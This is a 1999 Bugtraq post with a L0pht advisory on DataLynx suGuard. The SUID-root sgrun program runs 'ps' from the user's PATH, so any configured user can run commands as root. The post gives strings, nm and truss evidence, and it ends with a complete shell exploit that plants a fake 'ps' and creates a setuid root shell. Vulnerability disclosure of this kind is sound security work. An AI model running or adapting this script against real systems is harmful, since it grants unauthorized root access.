[8912] in bugtraq
L0pht Advisory - DataLynx suGuard
daemon@ATHENA.MIT.EDU (Dr. Mudge)
Sun Jan 3 21:01:30 1999
Date: Sun, 3 Jan 1999 14:02:21 -0500
Reply-To: "Dr. Mudge" <mudge@L0PHT.COM>
From: "Dr. Mudge" <mudge@L0PHT.COM>
To: BUGTRAQ@NETSPACE.ORG
L0pht Security Advisory
Advisory released Jan 3 1999
Application: suGuard rev 1.0 from DataLynx
Severity: any user configured under suGuard can
execute any command as root
Author: mudge@l0pht.com
http://www.l0pht.com/advisories.html
Overview :
During a cursory examination of DataLynx's suGuard program to exploit
/tmp vulnerabilities, much more blatent security problems were uncovered.
In particular, a process listing is run from suGuard's main application.
The first instance of the 'ps' program found in the users PATH environment
is assumed to be the valid ps program and is run with root privileges.
sgrun, the datalynx program, is SUID root and as such enables any user
configured for suGuard to execute arbitrary commands as root.
Example :
[furby-death] ./dlx_sploit.sh /bin/datalynx/sgrun Identify
datalynx sgrun proof of concept exploit from L0pht [mudge@l0pht.com]
Segmentation Fault
root shell created as ./sushi
[furby-death] ls -l sushi
-r-sr-xr-x 1 root other 186356 Oct 1 14:25 sushi
[furby-death] ./sushi
#
Description :
So, roughly 2:30am I was sitting around wondering when and how I should
release the /tmp tool that I had whipped up and left lying around. It
occured to me that the best way to show its merits was to have it aid in
finding a security vulnerability. What better type of application to
demonstrate security vulnerabilities in than security apps. It ends up
being akin to breaking into vehicles to steal those stupid red clubs (which
ends up being pretty easy).
The only question was what software to look at. As it turns out, one of the
folks over at the L0pht brought over a trade rag and I started leafing
through it. I was relatively confident that I would find some company who
had taken out a full page add with expensive looking artwork pawning their
wares. I would download an eval copy and have my example of poor code to
use in announcing the little temp-tool.
What I got was worse than I dared imagine. In fact, though there were
the style of problems that I was looking for, the kindergarden security
mistakes that presented themselves here that I was not looking for warranted
their own advisory. I guess I'll need to go find another piece of software
to usher in the little util.
suGuard is a commercial product put out by a company name DataLynx
[http://www.dlxguard.com]. It is basically sudo with a GUI interface and
some other functionality. Since it is designed to manage priviledged
execution of programs is installed SUID root.
A quick strings(1) shows several likely problems in the code:
71800 /tmp
74192 /tmp/dxpids.%d
74208 ps -ef > %s
78600 /tmp/gdtemp1
78616 ps -ef > %s
The /tmp lines show improper usage of the /tmp directory while the ps lines
indicate what is most likely the args to a s{n}printf that will be handed
off for execution.
A quick nm(1) further validates our concerns:
0000204184 U popen
0000203536 U execvp
There are a couple of quick attacks to attempt here. First, playing with the
path and second playing with the field seperator IFS (both work here by the
way).
truss'ing the program will show the problems in much more detail:
[note: Identify is the profile name I gave /bin/id for sgrun - see
the suGuard documentation for how to set these up]
truss -f -o xxx /bin/datalynx/sgrun Identify
grep ps xxx
[snip]
15651: stat64("/usr/sbin/ps", 0xEFFFF2D8) Err#2 ENOENT
15651: stat64("/usr/bin/ps", 0xEFFFF2D8) = 0
15651: access("/usr/bin/ps", 9) = 0
15653: execve("/usr/bin/ps", 0x00038B78, 0x00038BAC) argc = 2
[snip]
The above trace segment shows the walking of PATH directories to find ps
and then execute it with the arguments we noted from the strings(1) run.
This is what we expect since ps was not given an explicit path and the
calls for execution were either popen or execvp, both of which would follow
the PATH environment variable to find the executable.
Though we exercise this particular problem, it should be noted that several
others exist in the program.
Mini-Rant:
The web page for Datalynx has links to "hacker/cracker sites" and also
"security sites". It seems somewhat ironic that someone coming from a
"hacker/cracker" site (yes, l0pht is listed) finds this vulnerability and
publishes it yet none of the "security" sites seem to be doing this.
Makes you wonder who is really securing the internet/corporate world. Is
it the hackers or the "security sites"?
Exploit code:
--------cut here--------
#!/bin/sh
# sgrun exploit - the types of vulnerabilities that this exploit exercises
# have no right being introduced to code in this day and age. Much less
# code which presents itself under the pretenses of securing your system.
# .mudge 01.02.99
#
SUSHI=./sushi
if [ $# -ne 2 ] ; then
echo Must specify path to sgrun [/bin/datalynx/sgrun] and sgrun argument
echo mudge@l0pht.com [01.02.99]
exit 1
fi
SGRUN=$1
ARG=$2
if [ -f ${SUSHI} ] ; then
echo root shell already created?
exit
fi
echo datalynx sgrun proof of concept exploit from L0pht [mudge@l0pht.com]
echo
cat > ./ps << FOEFOE
#!/bin/sh
cp /bin/ksh ${SUSHI}
chown root ${SUSHI}
chmod 4555 ${SUSHI}
FOEFOE
chmod 755 ./ps
PATH=.:${PATH}
export PATH
#/bin/datalynx/sgrun Identify
${SGRUN} ${ARG}
if [ -f ${SUSHI} ] ; then
echo root shell created as ${SUSHI}
ls -l ${SUSHI}
echo
fi
--------cut here--------
mudge@l0pht.com
---------------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://www.l0pht.com/advisories.html
---------------
